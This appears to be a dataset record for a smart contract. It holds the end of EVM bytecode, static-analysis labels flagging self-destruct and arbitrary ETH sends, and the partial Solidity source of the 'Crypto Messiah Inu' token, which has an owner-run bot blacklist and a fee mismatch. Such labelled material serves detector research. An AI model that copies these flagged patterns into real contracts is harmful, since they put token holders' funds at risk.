ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116de57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60035481565b600081565b6302faf08081565b6000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561178957600080fd5b8260038190555081600481905550505050565b600080339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156117fa57600080fd5b6611c37937e08000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561192757611898600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546611c37937e08000612b04565b91506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611925573d6000803e3d6000fd5b505b505050565b6000806000806000600d54141561194e5762034c9863019c6653039350611980565b61195a60026000612cb1565b9250612710610898840281151561196d57fe5b04915061197a8383612b04565b90508093505b50505090565b6000806000339150600260035402600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f596f757220726577617264732061726520746f6f206c6f77207965740000000081525060200191505060405180910390fd5b611af2600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c4c565b90506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550809250505090565b6000806000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ba157600080fd5b83600454101515611d0957600092505b600b80549050831015611cf85760096000600b85815481101515611bd157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821115611ceb576298968084600d54629896808502811515611c5957fe5b0402811515611c6457fe5b04600a6000600b86815481101515611c7857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8280600101935050611bb1565b836004600082825403925050819055505b50505050565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60025481565b6000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611de057600080fd5b600a82026002819055505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600454905090565b6000600d54905090565b6000600354905090565b600080339050611e3b81611d34565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ed75780601f10611eac57610100808354040283529160200191611ed7565b820191906000526020600020905b815481529060010190602001808311611eba57829003601f168201915b505050505081565b600f6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803392506064600a8602811515611f2a57fe5b049150611f378583612b04565b9050611f82600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486612b04565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612c93565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001935050505092915050565b6000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561212057600080fd5b8160019080519060200190612136929190612e43565b505050565b60006001905090565b6000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156121a157600080fd5b81600090805190602001906121b7929190612e43565b505050565b600080339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561221a57600080fd5b600183141561253957600091505b865182101561253857838281518110151561223f57fe5b90602001906020020151600f6000898581518110151561225b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600086838151811015156122ed57fe5b90602001906020020151111561252b57858281518110151561230b57fe5b9060200190602002015160096000898581518110151561232757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550848281518110151561238657fe5b90602001906020020151600a600089858151811015156123a257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550858281518110151561240157fe5b90602001906020020151600d60008282540192505081905550600b878381518110151561242a57fe5b9060200190602002015190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505086828151811015156124a557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888581518110151561250b57fe5b906020019060200201516040518082815260200191505060405180910390a35b8180600101925050612228565b5b60028314156125d957600091505b86518210156125d857858281518110151561255e57fe5b90602001906020020151600a6000898581518110151561257a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508180600101925050612547565b5b50505050505050565b600b818154811015156125f157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806000612633611e2c565b11151561263f57600080fd5b339550600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561269057600080fd5b86945061269e856001612cb1565b935061271061089885028115156126b157fe5b0492506126be8484612b04565b915060b0600a84028115156126cf57fe5b04905060028102600a6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102600a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102600a6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102600a6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060088102600460008282540192505081905550806010028303600a6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040518082815260200191505060405180910390a3612992600d5486612b04565b600d819055506129e1600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486612b04565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612a6a573d6000803e3d6000fd5b5050505050505050565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612afe3483610c4c565b50919050565b6000828211151515612b1257fe5b818303905092915050565b600080600080600080600080612b368a60020286612b04565b9650600d549550624c4b4086811515612b4b57fe5b0460030a62034c980294506000935084600202612b7a612b748d886008020260028b0a01612df8565b89612b04565b811515612b8357fe5b049250624c4b406001624c4b4088811515612b9a57fe5b04010291505b818684011115612c5e578582039250612bd18b8660018603028c60020201600286811515612bca57fe5b0402612b04565b9a508460018403028a019950624c4b40868401811515612bed57fe5b0460030a62034c98029450612c058a60020286612b04565b965084600202612c27612c218d886008020260028b0a01612df8565b89612b04565b811515612c3057fe5b04905082860195508284019350809250624c4b406001624c4b4088811515612c5457fe5b0401029150612ba0565b82840193508460018403028a019950600115158915151415612c8257896003819055505b839750505050505050509392505050565b6000808284019050838110151515612ca757fe5b8091505092915050565b6000806000806000806000806000600d54975060009650624c4b408089811515612cd757fe5b040295506003549450624c4b4088811515612cee57fe5b0460030a62034c980293505b858b89031015612d995785880392506000831415612d3057600188039750624c4b408089811515612d2757fe5b04029550612cfa565b83600184030291508185039050828b039a50818160020201600284811515612d5457fe5b0402870196508094508288039750624c4b4060018903811515612d7357fe5b0460030a62034c98029350624c4b408060018a03811515612d9057fe5b04029550612cfa565b60008b1115612dd2578360018c0302850390508360018c0302816002020160028c811515612dc357fe5b0402870196508a880397508094505b600115158a15151415612de757846003819055505b869850505050505050505092915050565b600080600260018401811515612e0a57fe5b0490508291505b81811015612e3d578091506002818285811515612e2a57fe5b0401811515612e3557fe5b049050612e11565b50919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612e8457805160ff1916838001178555612eb2565b82800160010185558215612eb2579182015b82811115612eb1578251825591602001919060010190612e96565b5b509050612ebf9190612ec3565b5090565b612ee591905b80821115612ee1576000816000905550600101612ec9565b5090565b905600a165627a7a7230582032bb245f5e4ec0bc3f220885ac8fb086cf9c753ae003c1ed613c80e1e8c7e2f50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 7,941 |
0xd223e6563f6001d3902d56ba0ec90a217f52b250
|
//Crypto Messiah Inu (cMessiahInu)
/*
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣠⣴⣶⣶⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢠⣤⣿⣾⣿⣿⣿⣿⣿⣤⣾⣛⣛⠳⢤⣄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⠶⠶⠶⠶⠤⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⡀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢀⡾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢸⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣍⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣅⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⢸⢿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢀
⠄⠄⠄⠄⠄⠸⠄⢻⣿⣿⣿⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣤⣿
⠄⠄⠄⠄⠄⠄⠄⠸⠿⣇⠻⣦⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⠄⠄⠄⠄⠄⠄⠄⠄⠄⣀⠄⠄⠄⠄⠈⠄⠄⠄⠄⠄⠄⠄⠄⠹
⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⠄⠛⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⡤⠃⠄⠄⡀⣠⠄⠄⠛⠃⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠉⠄⠄⠈⠱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠄⠄⠄⠄⠄⠄⠄⠈⠄⠄⢀⡾⠄⠄⠈⠄⣀⣬⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠄⠄⠄⢰⣿⣶⣦⣄⠄⠄⠄⣼⠃⠄⠄⠄⢀⣿⠟⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠄⠄⠄⠄⢸⢿⣿⣿⣽⡆⠄⠄⠃⠄⠄⠄⠄⠸⠋⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠄⠄⠄⠄⠘⢦⣻⣿⣿⠃⠄⠄⠄⠄⠄⠄⢀⣴⣶⣶⣶⣦⡀⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠄⠄⠄⠄⠄⠄⠉⠉⠉⠄⠄⠄⠄⠄⠄⢠⣾⣿⣿⣿⣿⣿⣿⣦⡀⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠄⠄⠄⠄⠄⠄⠄⠄⠰⠆⠄⠄⠄⠄⠄⠄⠾⠿⢿⣿⣿⣿⣿⡿⠉⠉⠲⣄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠘⠃⠤⣤⣾⡿⠏⠄⠄⠄⠄⠙⠛⠛⠋⠄⠄⠄⠄⠈⠛⠛⠆
⠄⠄⠄⠄⢀⣰⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⢱⣶⠟⠋⠁⠄⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⠗⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⢀⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
*/
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/cryptomessiahinu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract cMESSIAHINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Crypto Messiah Inu";
string private constant _symbol = "cMESSIAHINU \xF0\x9F\x8D\x9B";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
